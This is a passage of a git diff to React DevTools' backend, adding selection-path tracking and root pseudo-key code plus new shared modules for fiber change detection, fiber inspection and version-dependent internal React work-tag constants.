+        // unsuspending then we can schedule this as a Retry if the renderer supports it.
+        // That way we can trigger animations.
+        scheduleRetry(fiber);
+      } else {
+        scheduleUpdate(fiber);
+      }
+    });
+
+    if (forceFallbackForFibers.size > 0) {
+      // First override is added. Switch React to slower path.
+      // TODO: Semantics for suspending a timeline are different. We want a suspended
+      // timeline to act like a first reveal which is relevant for SuspenseList.
+      // Resuspending would not affect rows in SuspenseList
+      setSuspenseHandler(shouldSuspendFiberAccordingToSet);
+    } else {
+      setSuspenseHandler(shouldSuspendFiberAlwaysFalse);
+    }
+  }
+
+  // Remember if we're trying to restore the selection after reload.
+  // In that case, we'll do some extra checks for matching mounts.
+  let trackedPath: Array<PathFrame> | null = null;
+  let trackedPathMatchFiber: Fiber | null = null; // This is the deepest unfiltered match of a Fiber.
+  let trackedPathMatchInstance: FiberInstance | VirtualInstance | null = null; // This is the deepest matched filtered Instance.
+  let trackedPathMatchDepth = -1;
+  let mightBeOnTrackedPath = false;
+
+  function setTrackedPath(path: Array<PathFrame> | null) {
+    if (path === null) {
+      trackedPathMatchFiber = null;
+      trackedPathMatchInstance = null;
+      trackedPathMatchDepth = -1;
+      mightBeOnTrackedPath = false;
+    }
+    trackedPath = path;
+  }
+
+  // We call this before traversing a new mount.
+  // It remembers whether this Fiber is the next best match for tracked path.
+  // The return value signals whether we should keep matching siblings or not.
+  function updateTrackedPathStateBeforeMount(
+    fiber: Fiber,
+    fiberInstance: null | FiberInstance | FilteredFiberInstance,
+  ): boolean {
+    if (trackedPath === null || !mightBeOnTrackedPath) {
+      // Fast path: there's nothing to track so do nothing and ignore siblings.
+      return false;
+    }
+    const returnFiber = fiber.return;
+    const returnAlternate = returnFiber !== null ? returnFiber.alternate : null;
+    // By now we know there's some selection to restore, and this is a new Fiber.
+    // Is this newly mounted Fiber a direct child of the current best match?
+    // (This will also be true for new roots if we haven't matched anything yet.)
+    if (
+      trackedPathMatchFiber === returnFiber ||
+      (trackedPathMatchFiber === returnAlternate && returnAlternate !== null)
+    ) {
+      // Is this the next Fiber we should select? Let's compare the frames.
+      const actualFrame = getPathFrame(fiber);
+      // $FlowFixMe[incompatible-use] found when upgrading Flow
+      const expectedFrame = trackedPath[trackedPathMatchDepth + 1];
+      if (expectedFrame === undefined) {
+        throw new Error('Expected to see a frame at the next depth.');
+      }
+      if (
+        actualFrame.index === expectedFrame.index &&
+        actualFrame.key === expectedFrame.key &&
+        actualFrame.displayName === expectedFrame.displayName
+      ) {
+        // We have our next match.
+        trackedPathMatchFiber = fiber;
+        if (fiberInstance !== null && fiberInstance.kind === FIBER_INSTANCE) {
+          trackedPathMatchInstance = fiberInstance;
+        }
+        trackedPathMatchDepth++;
+        // Are we out of frames to match?
+        // $FlowFixMe[incompatible-use] found when upgrading Flow
+        if (trackedPathMatchDepth === trackedPath.length - 1) {
+          // There's nothing that can possibly match afterwards.
+          // Don't check the children.
+          mightBeOnTrackedPath = false;
+        } else {
+          // Check the children, as they might reveal the next match.
+          mightBeOnTrackedPath = true;
+        }
+        // In either case, since we have a match, we don't need
+        // to check the siblings. They'll never match.
+        return false;
+      }
+    }
+    if (trackedPathMatchFiber === null && fiberInstance === null) {
+      // We're now looking for a Virtual Instance. It might be inside filtered Fibers
+      // so we keep looking below.
+      return true;
+    }
+    // This Fiber's parent is on the path, but this Fiber itself isn't.
+    // There's no need to check its children--they won't be on the path either.
+    mightBeOnTrackedPath = false;
+    // However, one of its siblings may be on the path so keep searching.
+    return true;
+  }
+
+  function updateVirtualTrackedPathStateBeforeMount(
+    virtualInstance: VirtualInstance,
+    parentInstance: null | DevToolsInstance,
+  ): boolean {
+    if (trackedPath === null || !mightBeOnTrackedPath) {
+      // Fast path: there's nothing to track so do nothing and ignore siblings.
+      return false;
+    }
+    // Check if we've matched our nearest unfiltered parent so far.
+    if (trackedPathMatchInstance === parentInstance) {
+      const actualFrame = getVirtualPathFrame(virtualInstance);
+      // $FlowFixMe[incompatible-use] found when upgrading Flow
+      const expectedFrame = trackedPath[trackedPathMatchDepth + 1];
+      if (expectedFrame === undefined) {
+        throw new Error('Expected to see a frame at the next depth.');
+      }
+      if (
+        actualFrame.index === expectedFrame.index &&
+        actualFrame.key === expectedFrame.key &&
+        actualFrame.displayName === expectedFrame.displayName
+      ) {
+        // We have our next match.
+        trackedPathMatchFiber = null; // Don't bother looking in Fibers anymore. We're deeper now.
+        trackedPathMatchInstance = virtualInstance;
+        trackedPathMatchDepth++;
+        // Are we out of frames to match?
+        // $FlowFixMe[incompatible-use] found when upgrading Flow
+        if (trackedPathMatchDepth === trackedPath.length - 1) {
+          // There's nothing that can possibly match afterwards.
+          // Don't check the children.
+          mightBeOnTrackedPath = false;
+        } else {
+          // Check the children, as they might reveal the next match.
+          mightBeOnTrackedPath = true;
+        }
+        // In either case, since we have a match, we don't need
+        // to check the siblings. They'll never match.
+        return false;
+      }
+    }
+    if (trackedPathMatchFiber !== null) {
+      // We're still looking for a Fiber which might be underneath this instance.
+      return true;
+    }
+    // This Instance's parent is on the path, but this Instance itself isn't.
+    // There's no need to check its children--they won't be on the path either.
+    mightBeOnTrackedPath = false;
+    // However, one of its siblings may be on the path so keep searching.
+    return true;
+  }
+
+  function updateTrackedPathStateAfterMount(
+    mightSiblingsBeOnTrackedPath: boolean,
+  ) {
+    // updateTrackedPathStateBeforeMount() told us whether to match siblings.
+    // Now that we're entering siblings, let's use that information.
+    mightBeOnTrackedPath = mightSiblingsBeOnTrackedPath;
+  }
+
+  // Roots don't have a real persistent identity.
+  // A root's "pseudo key" is "childDisplayName:indexWithThatName".
+  // For example, "App:0" or, in case of similar roots, "Story:0", "Story:1", etc.
+  // We will use this to try to disambiguate roots when restoring selection between reloads.
+  const rootPseudoKeys: Map<number, string> = new Map();
+  const rootDisplayNameCounter: Map<string, number> = new Map();
+
+  function setRootPseudoKey(id: number, fiber: Fiber) {
+    const name = getDisplayNameForRoot(fiber);
+    const counter = rootDisplayNameCounter.get(name) || 0;
+    rootDisplayNameCounter.set(name, counter + 1);
+    const pseudoKey = `${name}:${counter}`;
+    rootPseudoKeys.set(id, pseudoKey);
+  }
+
+  function removeRootPseudoKey(id: number) {
+    const pseudoKey = rootPseudoKeys.get(id);
+    if (pseudoKey === undefined) {
+      throw new Error('Expected root pseudo key to be known.');
+    }
+    const name = pseudoKey.slice(0, pseudoKey.lastIndexOf(':'));
+    const counter = rootDisplayNameCounter.get(name);
+    if (counter === undefined) {
+      throw new Error('Expected counter to be known.');
+    }
+    if (counter > 1) {
+      rootDisplayNameCounter.set(name, counter - 1);
+    } else {
+      rootDisplayNameCounter.delete(name);
+    }
+    rootPseudoKeys.delete(id);
+  }
+
+  function getDisplayNameForRoot(fiber: Fiber): string {
+    let preferredDisplayName = null;
+    let fallbackDisplayName = null;
+    let child = fiber.child;
+    // Go at most three levels deep into direct children
+    // while searching for a child that has a displayName.
+    for (let i = 0; i < 3; i++) {
+      if (child === null) {
+        break;
+      }
+      const displayName = getDisplayNameForFiber(child);
+      if (displayName !== null) {
+        // Prefer display names that we get from user-defined components.
+        // We want to avoid using e.g. 'Suspense' unless we find nothing else.
+        if (typeof child.type === 'function') {
+          // There's a few user-defined tags, but we'll prefer the ones
+          // that are usually explicitly named (function or class components).
+          preferredDisplayName = displayName;
+        } else if (fallbackDisplayName === null) {
+          fallbackDisplayName = displayName;
+        }
+      }
+      if (preferredDisplayName !== null) {
+        break;
+      }
+      child = child.child;
+    }
+    return preferredDisplayName || fallbackDisplayName || 'Anonymous';
+  }
+
+  function getPathFrame(fiber: Fiber): PathFrame {
+    const {key} = fiber;
+    let displayName = getDisplayNameForFiber(fiber);
+    const index = fiber.index;
+    switch (fiber.tag) {
+      case HostRoot:
+        // Roots don't have a real displayName, index, or key.
+        // Instead, we'll use the pseudo key (childDisplayName:indexWithThatName).
+        const rootInstance = rootToFiberInstanceMap.get(fiber.stateNode);
+        if (rootInstance === undefined) {
+          throw new Error(
+            'Expected the root instance to exist when computing a path',
+          );
+        }
+        const pseudoKey = rootPseudoKeys.get(rootInstance.id);
+        if (pseudoKey === undefined) {
+          throw new Error('Expected mounted root to have known pseudo key.');
+        }
+        displayName = pseudoKey;
+        break;
+      case HostComponent:
+        displayName = fiber.type;
+        break;
+      default:
+        break;
+    }
+    return {
+      displayName,
+      key: key === REACT_OPTIMISTIC_KEY ? null : key,
+      index,
+    };
+  }
+
+  function getVirtualPathFrame(virtualInstance: VirtualInstance): PathFrame {
+    return {
+      displayName: virtualInstance.data.name || '',
+      key:
+        virtualInstance.data.key == null ||
+        virtualInstance.data.key === REACT_OPTIMISTIC_KEY
+          ? null
+          : virtualInstance.data.key,
+      index: -1, // We use -1 to indicate that this is a virtual path frame.
+    };
+  }
+
+  // Produces a serializable representation that does a best effort
+  // of identifying a particular Fiber between page reloads.
+  // The return path will contain Fibers that are "invisible" to the store
+  // because their keys and indexes are important to restoring the selection.
+  function getPathForElement(id: number): Array<PathFrame> | null {
+    const devtoolsInstance = idToDevToolsInstanceMap.get(id);
+    if (devtoolsInstance === undefined) {
+      return null;
+    }
+
+    const keyPath = [];
+
+    let inst: DevToolsInstance = devtoolsInstance;
+    while (inst.kind === VIRTUAL_INSTANCE) {
+      keyPath.push(getVirtualPathFrame(inst));
+      if (inst.parent === null) {
+        // This is a bug but non-essential. We should've found a root instance.
+        return null;
+      }
+      inst = inst.parent;
+    }
+
+    let fiber: null | Fiber = inst.data;
+    while (fiber !== null) {
+      // $FlowFixMe[incompatible-call] found when upgrading Flow
+      keyPath.push(getPathFrame(fiber));
+      // $FlowFixMe[incompatible-use] found when upgrading Flow
+      fiber = fiber.return;
+    }
+    keyPath.reverse();
+    return keyPath;
+  }
+
+  function getBestMatchForTrackedPath(): PathMatch | null {
+    if (trackedPath === null) {
+      // Nothing to match.
+      return null;
+    }
+    if (trackedPathMatchInstance === null) {
+      // We didn't find anything.
+      return null;
+    }
+    return {
+      id: trackedPathMatchInstance.id,
+      // $FlowFixMe[incompatible-use] found when upgrading Flow
+      isFullMatch: trackedPathMatchDepth === trackedPath.length - 1,
+    };
+  }
+
+  const formatPriorityLevel = (priorityLevel: ?number) => {
+    if (priorityLevel == null) {
+      return 'Unknown';
+    }
+
+    switch (priorityLevel) {
+      case ImmediatePriority:
+        return 'Immediate';
+      case UserBlockingPriority:
+        return 'User-Blocking';
+      case NormalPriority:
+        return 'Normal';
+      case LowPriority:
+        return 'Low';
+      case IdlePriority:
+        return 'Idle';
+      case NoPriority:
+      default:
+        return 'Unknown';
+    }
+  };
+
+  function setTraceUpdatesEnabled(isEnabled: boolean): void {
+    traceUpdatesEnabled = isEnabled;
+  }
+
+  function hasElementWithId(id: number): boolean {
+    return idToDevToolsInstanceMap.has(id);
+  }
+
+  function getSourceForFiberInstance(
+    fiberInstance: FiberInstance,
+  ): ReactFunctionLocation | null {
+    // Favor the owner source if we have one.
+    const ownerSource = getSourceForInstance(fiberInstance);
+    if (ownerSource !== null) {
+      return ownerSource;
+    }
+
+    // Otherwise fallback to the throwing trick.
+    const dispatcherRef = getDispatcherRef(renderer);
+    const stackFrame =
+      dispatcherRef == null
+        ? null
+        : getSourceLocationByFiber(
+            ReactTypeOfWork,
+            fiberInstance.data,
+            dispatcherRef,
+          );
+    if (stackFrame === null) {
+      return null;
+    }
+    const source = extractLocationFromComponentStack(stackFrame);
+    fiberInstance.source = source;
+    return source;
+  }
+
+  function getSourceForInstance(
+    instance: DevToolsInstance,
+  ): ReactFunctionLocation | null {
+    let unresolvedSource = instance.source;
+    if (unresolvedSource === null) {
+      // We don't have any source yet. We can try again later in case an owned child mounts later.
+      // TODO: We won't have any information here if the child is filtered.
+      return null;
+    }
+
+    if (instance.kind === VIRTUAL_INSTANCE) {
+      // We might have found one on the virtual instance.
+      const debugLocation = instance.data.debugLocation;
+      if (debugLocation != null) {
+        unresolvedSource = debugLocation;
+      }
+    }
+
+    // If we have the debug stack (the creation stack of the JSX) for any owned child of this
+    // component, then at the bottom of that stack will be a stack frame that is somewhere within
+    // the component's function body. Typically it would be the callsite of the JSX unless there's
+    // any intermediate utility functions. This won't point to the top of the component function
+    // but it's at least somewhere within it.
+    if (isError(unresolvedSource)) {
+      return (instance.source = extractLocationFromOwnerStack(
+        (unresolvedSource: any),
+      ));
+    }
+    if (typeof unresolvedSource === 'string') {
+      const idx = unresolvedSource.lastIndexOf('\n');
+      const lastLine =
+        idx === -1 ? unresolvedSource : unresolvedSource.slice(idx + 1);
+      return (instance.source = extractLocationFromComponentStack(lastLine));
+    }
+
+    // $FlowFixMe: refined.
+    return unresolvedSource;
+  }
+
+  return {
+    cleanup,
+    clearErrorsAndWarnings,
+    clearErrorsForElementID,
+    clearWarningsForElementID,
+    getSerializedElementValueByPath,
+    deletePath,
+    findHostInstancesForElementID,
+    findLastKnownRectsForID,
+    flushInitialOperations,
+    getBestMatchForTrackedPath,
+    getDisplayNameForElementID,
+    getNearestMountedDOMNode,
+    getElementIDForHostInstance,
+    getSuspenseNodeIDForHostInstance,
+    getInstanceAndStyle,
+    getOwnersList,
+    getPathForElement,
+    getProfilingData,
+    handleCommitFiberRoot,
+    handleCommitFiberUnmount,
+    handlePostCommitFiberRoot,
+    hasElementWithId,
+    inspectElement,
+    logElementToConsole,
+    getComponentStack,
+    getElementAttributeByPath,
+    getElementSourceFunctionById,
+    onErrorOrWarning,
+    overrideError,
+    overrideSuspense,
+    overrideSuspenseMilestone,
+    overrideValueAtPath,
+    renamePath,
+    renderer,
+    setTraceUpdatesEnabled,
+    setTrackedPath,
+    startProfiling,
+    stopProfiling,
+    storeAsGlobal,
+    supportsTogglingSuspense,
+    updateComponentFilters,
+    getEnvironmentNames,
+  };
+}
diff --git a/packages/react-devtools-shared/src/backend/fiber/shared/DevToolsFiberChangeDetection.js b/packages/react-devtools-shared/src/backend/fiber/shared/DevToolsFiberChangeDetection.js
new file mode 100644
index 000000000000..0feef5803e92
--- /dev/null
+++ b/packages/react-devtools-shared/src/backend/fiber/shared/DevToolsFiberChangeDetection.js
@@ -0,0 +1,150 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {Fiber} from 'react-reconciler/src/ReactInternalTypes';
+import type {HooksNode, HooksTree} from 'react-debug-tools/src/ReactDebugHooks';
+import type {WorkTagMap} from '../../types';
+
+import {getFiberFlags} from './DevToolsFiberInspection';
+import is from 'shared/objectIs';
+
+export function getContextChanged(prevFiber: Fiber, nextFiber: Fiber): boolean {
+  let prevContext =
+    prevFiber.dependencies && prevFiber.dependencies.firstContext;
+  let nextContext =
+    nextFiber.dependencies && nextFiber.dependencies.firstContext;
+
+  while (prevContext && nextContext) {
+    // Note this only works for versions of React that support this key (e.v. 18+)
+    // For older versions, there's no good way to read the current context value after render has completed.
+    // This is because React maintains a stack of context values during render,
+    // but by the time DevTools is called, render has finished and the stack is empty.
+    if (prevContext.context !== nextContext.context) {
+      // If the order of context has changed, then the later context values might have
+      // changed too but the main reason it rerendered was earlier. Either an earlier
+      // context changed value but then we would have exited already. If we end up here
+      // it's because a state or props change caused the order of contexts used to change.
+      // So the main cause is not the contexts themselves.
+      return false;
+    }
+    if (!is(prevContext.memoizedValue, nextContext.memoizedValue)) {
+      return true;
+    }
+
+    prevContext = prevContext.next;
+    nextContext = nextContext.next;
+  }
+  return false;
+}
+
+export function didStatefulHookChange(
+  prev: HooksNode,
+  next: HooksNode,
+): boolean {
+  // Detect the shape of useState() / useReducer() / useTransition() / useSyncExternalStore() / useActionState()
+  const isStatefulHook =
+    prev.isStateEditable === true ||
+    prev.name === 'SyncExternalStore' ||
+    prev.name === 'Transition' ||
+    prev.name === 'ActionState' ||
+    prev.name === 'FormState';
+
+  // Compare the values to see if they changed
+  if (isStatefulHook) {
+    return prev.value !== next.value;
+  }
+
+  return false;
+}
+
+export function getChangedHooksIndices(
+  prevHooks: HooksTree | null,
+  nextHooks: HooksTree | null,
+): null | Array<number> {
+  if (prevHooks == null || nextHooks == null) {
+    return null;
+  }
+
+  const indices: Array<number> = [];
+  let index = 0;
+
+  function traverse(prevTree: HooksTree, nextTree: HooksTree): void {
+    for (let i = 0; i < prevTree.length; i++) {
+      const prevHook = prevTree[i];
+      const nextHook = nextTree[i];
+
+      if (prevHook.subHooks.length > 0 && nextHook.subHooks.length > 0) {
+        traverse(prevHook.subHooks, nextHook.subHooks);
+        continue;
+      }
+
+      if (didStatefulHookChange(prevHook, nextHook)) {
+        indices.push(index);
+      }
+
+      index++;
+    }
+  }
+
+  traverse(prevHooks, nextHooks);
+  return indices;
+}
+
+export function getChangedKeys(prev: any, next: any): null | Array<string> {
+  if (prev == null || next == null) {
+    return null;
+  }
+
+  const keys = new Set([...Object.keys(prev), ...Object.keys(next)]);
+  const changedKeys = [];
+  // eslint-disable-next-line no-for-of-loops/no-for-of-loops
+  for (const key of keys) {
+    if (prev[key] !== next[key]) {
+      changedKeys.push(key);
+    }
+  }
+
+  return changedKeys;
+}
+
+/**
+ * Returns true iff nextFiber actually performed any work and produced an update.
+ * For generic components, like Function or Class components, prevFiber is not considered.
+ */
+export function didFiberRender(
+  workTagMap: WorkTagMap,
+  prevFiber: Fiber,
+  nextFiber: Fiber,
+): boolean {
+  switch (nextFiber.tag) {
+    case workTagMap.ClassComponent:
+    case workTagMap.FunctionComponent:
+    case workTagMap.ContextConsumer:
+    case workTagMap.MemoComponent:
+    case workTagMap.SimpleMemoComponent:
+    case workTagMap.ForwardRef:
+      // For types that execute user code, we check PerformedWork effect.
+      // We don't reflect bailouts (either referential or sCU) in DevTools.
+      // TODO: This flag is a leaked implementation detail. Once we start
+      // releasing DevTools in lockstep with React, we should import a
+      // function from the reconciler instead.
+      const PerformedWork = 0b000000000000000000000000001;
+      return (getFiberFlags(nextFiber) & PerformedWork) === PerformedWork;
+    // Note: ContextConsumer only gets PerformedWork effect in 16.3.3+
+    // so it won't get highlighted with React 16.3.0 to 16.3.2.
+    default:
+      // For host components and other types, we compare inputs
+      // to determine whether something is an update.
+      return (
+        prevFiber.memoizedProps !== nextFiber.memoizedProps ||
+        prevFiber.memoizedState !== nextFiber.memoizedState ||
+        prevFiber.ref !== nextFiber.ref
+      );
+  }
+}
diff --git a/packages/react-devtools-shared/src/backend/fiber/shared/DevToolsFiberInspection.js b/packages/react-devtools-shared/src/backend/fiber/shared/DevToolsFiberInspection.js
new file mode 100644
index 000000000000..58c86f7cac09
--- /dev/null
+++ b/packages/react-devtools-shared/src/backend/fiber/shared/DevToolsFiberInspection.js
@@ -0,0 +1,104 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {ReactComponentInfo, ReactDebugInfo} from 'shared/ReactTypes';
+import type {Fiber} from 'react-reconciler/src/ReactInternalTypes';
+import type {WorkTagMap} from '../../types';
+import type {Rect} from '../../types';
+
+// $FlowFixMe[method-unbinding]
+const toString = Object.prototype.toString;
+
+export function isError(object: mixed): boolean {
+  return toString.call(object) === '[object Error]';
+}
+
+export function getFiberFlags(fiber: Fiber): number {
+  // The name of this field changed from "effectTag" to "flags"
+  return fiber.flags !== undefined ? fiber.flags : (fiber: any).effectTag;
+}
+
+export function rootSupportsProfiling(root: any): boolean {
+  if (root.memoizedInteractions != null) {
+    // v16 builds include this field for the scheduler/tracing API.
+    return true;
+  } else if (
+    root.current != null &&
+    root.current.hasOwnProperty('treeBaseDuration')
+  ) {
+    // The scheduler/tracing API was removed in v17 though
+    // so we need to check a non-root Fiber.
+    return true;
+  } else {
+    return false;
+  }
+}
+
+export function isErrorBoundary(workTagMap: WorkTagMap, fiber: Fiber): boolean {
+  const {tag, type} = fiber;
+
+  switch (tag) {
+    case workTagMap.ClassComponent:
+    case workTagMap.IncompleteClassComponent:
+      const instance = fiber.stateNode;
+      return (
+        typeof type.getDerivedStateFromError === 'function' ||
+        (instance !== null && typeof instance.componentDidCatch === 'function')
+      );
+    default:
+      return false;
+  }
+}
+
+export function getSecondaryEnvironmentName(
+  debugInfo: ?ReactDebugInfo,
+  index: number,
+): null | string {
+  if (debugInfo != null) {
+    const componentInfo: ReactComponentInfo = (debugInfo[index]: any);
+    for (let i = index + 1; i < debugInfo.length; i++) {
+      const debugEntry = debugInfo[i];
+      if (typeof debugEntry.env === 'string') {
+        // If the next environment is different then this component was the boundary
+        // and it changed before entering the next component. So we assign this
+        // component a secondary environment.
+        return componentInfo.env !== debugEntry.env ? debugEntry.env : null;
+      }
+    }
+  }
+  return null;
+}
+
+export function areEqualRects(
+  a: null | Array<Rect>,
+  b: null | Array<Rect>,
+): boolean {
+  if (a === null) {
+    return b === null;
+  }
+  if (b === null) {
+    return false;
+  }
+  if (a.length !== b.length) {
+    return false;
+  }
+  for (let i = 0; i < a.length; i++) {
+    const aRect = a[i];
+    const bRect = b[i];
+    if (
+      aRect.x !== bRect.x ||
+      aRect.y !== bRect.y ||
+      aRect.width !== bRect.width ||
+      aRect.height !== bRect.height
+    ) {
+      return false;
+    }
+  }
+  return true;
+}
diff --git a/packages/react-devtools-shared/src/backend/fiber/shared/DevToolsFiberInternalReactConstants.js b/packages/react-devtools-shared/src/backend/fiber/shared/DevToolsFiberInternalReactConstants.js
new file mode 100644
index 000000000000..2f7f92eefbfd
--- /dev/null
+++ b/packages/react-devtools-shared/src/backend/fiber/shared/DevToolsFiberInternalReactConstants.js
@@ -0,0 +1,517 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {Fiber} from 'react-reconciler/src/ReactInternalTypes';
+import type {WorkTagMap} from 'react-devtools-shared/src/backend/types';
+
+import {
+  getDisplayName,
+  getWrappedDisplayName,
+} from 'react-devtools-shared/src/utils';
+import {gt, gte} from 'react-devtools-shared/src/backend/utils';
+import {
+  CONCURRENT_MODE_NUMBER,
+  CONCURRENT_MODE_SYMBOL_STRING,
+  DEPRECATED_ASYNC_MODE_SYMBOL_STRING,
+  PROVIDER_NUMBER,
+  PROVIDER_SYMBOL_STRING,
+  CONTEXT_NUMBER,
+  CONTEXT_SYMBOL_STRING,
+  CONSUMER_SYMBOL_STRING,
+  STRICT_MODE_NUMBER,
+  STRICT_MODE_SYMBOL_STRING,
+  PROFILER_NUMBER,
+  PROFILER_SYMBOL_STRING,
+  REACT_MEMO_CACHE_SENTINEL,
+  SCOPE_NUMBER,
+  SCOPE_SYMBOL_STRING,
+  FORWARD_REF_NUMBER,
+  FORWARD_REF_SYMBOL_STRING,
+  MEMO_NUMBER,
+  MEMO_SYMBOL_STRING,
+  SERVER_CONTEXT_SYMBOL_STRING,
+} from 'react-devtools-shared/src/backend/shared/ReactSymbols';
+
+export type getDisplayNameForFiberType = (fiber: Fiber) => string | null;
+export type getTypeSymbolType = (type: any) => symbol | string | number;
+
+export type ReactPriorityLevelsType = {
+  ImmediatePriority: number,
+  UserBlockingPriority: number,
+  NormalPriority: number,
+  LowPriority: number,
+  IdlePriority: number,
+  NoPriority: number,
+};
+
+export function getInternalReactConstants(version: string): {
+  getDisplayNameForFiber: getDisplayNameForFiberType,
+  getTypeSymbol: getTypeSymbolType,
+  ReactPriorityLevels: ReactPriorityLevelsType,
+  ReactTypeOfWork: WorkTagMap,
+  StrictModeBits: number,
+  SuspenseyImagesMode: number,
+} {
+  // **********************************************************
+  // The section below is copied from files in React repo.
+  // Keep it in sync, and add version guards if it changes.
+  //
+  // Technically these priority levels are invalid for versions before 16.9,
+  // but 16.9 is the first version to report priority level to DevTools,
+  // so we can avoid checking for earlier versions and support pre-16.9 canary releases in the process.
+  let ReactPriorityLevels: ReactPriorityLevelsType = {
+    ImmediatePriority: 99,
+    UserBlockingPriority: 98,
+    NormalPriority: 97,
+    LowPriority: 96,
+    IdlePriority: 95,
+    NoPriority: 90,
+  };
+
+  if (gt(version, '17.0.2')) {
+    ReactPriorityLevels = {
+      ImmediatePriority: 1,
+      UserBlockingPriority: 2,
+      NormalPriority: 3,
+      LowPriority: 4,
+      IdlePriority: 5,
+      NoPriority: 0,
+    };
+  }
+
+  let StrictModeBits = 0;
+  if (gte(version, '18.0.0-alpha')) {
+    // 18+
+    StrictModeBits = 0b011000;
+  } else if (gte(version, '16.9.0')) {
+    // 16.9 - 17
+    StrictModeBits = 0b1;
+  } else if (gte(version, '16.3.0')) {
+    // 16.3 - 16.8
+    StrictModeBits = 0b10;
+  }
+
+  const SuspenseyImagesMode = 0b0100000;
+
+  let ReactTypeOfWork: WorkTagMap = ((null: any): WorkTagMap);
+
+  // **********************************************************
+  // The section below is copied from files in React repo.
+  // Keep it in sync, and add version guards if it changes.
+  //
+  // TODO Update the gt() check below to be gte() whichever the next version number is.
+  // Currently the version in Git is 17.0.2 (but that version has not been/may not end up being released).
+  if (gt(version, '17.0.1')) {
+    ReactTypeOfWork = {
+      CacheComponent: 24, // Experimental
+      ClassComponent: 1,
+      ContextConsumer: 9,
+      ContextProvider: 10,
+      CoroutineComponent: -1, // Removed
+      CoroutineHandlerPhase: -1, // Removed
+      DehydratedSuspenseComponent: 18, // Behind a flag
+      ForwardRef: 11,
+      Fragment: 7,
+      FunctionComponent: 0,
+      HostComponent: 5,
+      HostPortal: 4,
+      HostRoot: 3,
+      HostHoistable: 26, // In reality, 18.2+. But doesn't hurt to include it here
+      HostSingleton: 27, // Same as above
+      HostText: 6,
+      IncompleteClassComponent: 17,
+      IncompleteFunctionComponent: 28,
+      IndeterminateComponent: 2, // removed in 19.0.0
+      LazyComponent: 16,
+      LegacyHiddenComponent: 23, // Does not exist in 18+ OSS but exists in fb builds
+      MemoComponent: 14,
+      Mode: 8,
+      OffscreenComponent: 22, // Experimental in 17. Stable in 18+
+      Profiler: 12,
+      ScopeComponent: 21, // Experimental
+      SimpleMemoComponent: 15,
+      SuspenseComponent: 13,
+      SuspenseListComponent: 19, // Experimental
+      TracingMarkerComponent: 25, // Experimental - This is technically in 18 but we don't
+      // want to fork again so we're adding it here instead
+      YieldComponent: -1, // Removed
+      Throw: 29,
+      ViewTransitionComponent: 30, // Experimental
+      ActivityComponent: 31,
+    };
+  } else if (gte(version, '17.0.0-alpha')) {
+    ReactTypeOfWork = {
+      CacheComponent: -1, // Doesn't exist yet
+      ClassComponent: 1,
+      ContextConsumer: 9,
+      ContextProvider: 10,
+      CoroutineComponent: -1, // Removed
+      CoroutineHandlerPhase: -1, // Removed
+      DehydratedSuspenseComponent: 18, // Behind a flag
+      ForwardRef: 11,
+      Fragment: 7,
+      FunctionComponent: 0,
+      HostComponent: 5,
+      HostPortal: 4,
+      HostRoot: 3,
+      HostHoistable: -1, // Doesn't exist yet
+      HostSingleton: -1, // Doesn't exist yet
+      HostText: 6,
+      IncompleteClassComponent: 17,
+      IncompleteFunctionComponent: -1, // Doesn't exist yet
+      IndeterminateComponent: 2,
+      LazyComponent: 16,
+      LegacyHiddenComponent: 24,
+      MemoComponent: 14,
+      Mode: 8,
+      OffscreenComponent: 23, // Experimental
+      Profiler: 12,
+      ScopeComponent: 21, // Experimental
+      SimpleMemoComponent: 15,
+      SuspenseComponent: 13,
+      SuspenseListComponent: 19, // Experimental
+      TracingMarkerComponent: -1, // Doesn't exist yet
+      YieldComponent: -1, // Removed
+      Throw: -1, // Doesn't exist yet
+      ViewTransitionComponent: -1, // Doesn't exist yet
+      ActivityComponent: -1, // Doesn't exist yet
+    };
+  } else if (gte(version, '16.6.0-beta.0')) {
+    ReactTypeOfWork = {
+      CacheComponent: -1, // Doesn't exist yet
+      ClassComponent: 1,
+      ContextConsumer: 9,
+      ContextProvider: 10,
+      CoroutineComponent: -1, // Removed
+      CoroutineHandlerPhase: -1, // Removed
+      DehydratedSuspenseComponent: 18, // Behind a flag
+      ForwardRef: 11,
+      Fragment: 7,
+      FunctionComponent: 0,
+      HostComponent: 5,
+      HostPortal: 4,
+      HostRoot: 3,
+      HostHoistable: -1, // Doesn't exist yet
+      HostSingleton: -1, // Doesn't exist yet
+      HostText: 6,
+      IncompleteClassComponent: 17,
+      IncompleteFunctionComponent: -1, // Doesn't exist yet
+      IndeterminateComponent: 2,
+      LazyComponent: 16,
+      LegacyHiddenComponent: -1,
+      MemoComponent: 14,
+      Mode: 8,
+      OffscreenComponent: -1, // Experimental
+      Profiler: 12,
+      ScopeComponent: -1, // Experimental
+      SimpleMemoComponent: 15,
+      SuspenseComponent: 13,
+      SuspenseListComponent: 19, // Experimental
+      TracingMarkerComponent: -1, // Doesn't exist yet
+      YieldComponent: -1, // Removed
+      Throw: -1, // Doesn't exist yet
+      ViewTransitionComponent: -1, // Doesn't exist yet
+      ActivityComponent: -1, // Doesn't exist yet
+    };
+  } else if (gte(version, '16.4.3-alpha')) {
+    ReactTypeOfWork = {
+      CacheComponent: -1, // Doesn't exist yet
+      ClassComponent: 2,
+      ContextConsumer: 11,
+      ContextProvider: 12,
+      CoroutineComponent: -1, // Removed
+      CoroutineHandlerPhase: -1, // Removed
+      DehydratedSuspenseComponent: -1, // Doesn't exist yet
+      ForwardRef: 13,
+      Fragment: 9,
+      FunctionComponent: 0,
+      HostComponent: 7,
+      HostPortal: 6,
+      HostRoot: 5,
+      HostHoistable: -1, // Doesn't exist yet
+      HostSingleton: -1, // Doesn't exist yet
+      HostText: 8,
+      IncompleteClassComponent: -1, // Doesn't exist yet
+      IncompleteFunctionComponent: -1, // Doesn't exist yet
+      IndeterminateComponent: 4,
+      LazyComponent: -1, // Doesn't exist yet
+      LegacyHiddenComponent: -1,
+      MemoComponent: -1, // Doesn't exist yet
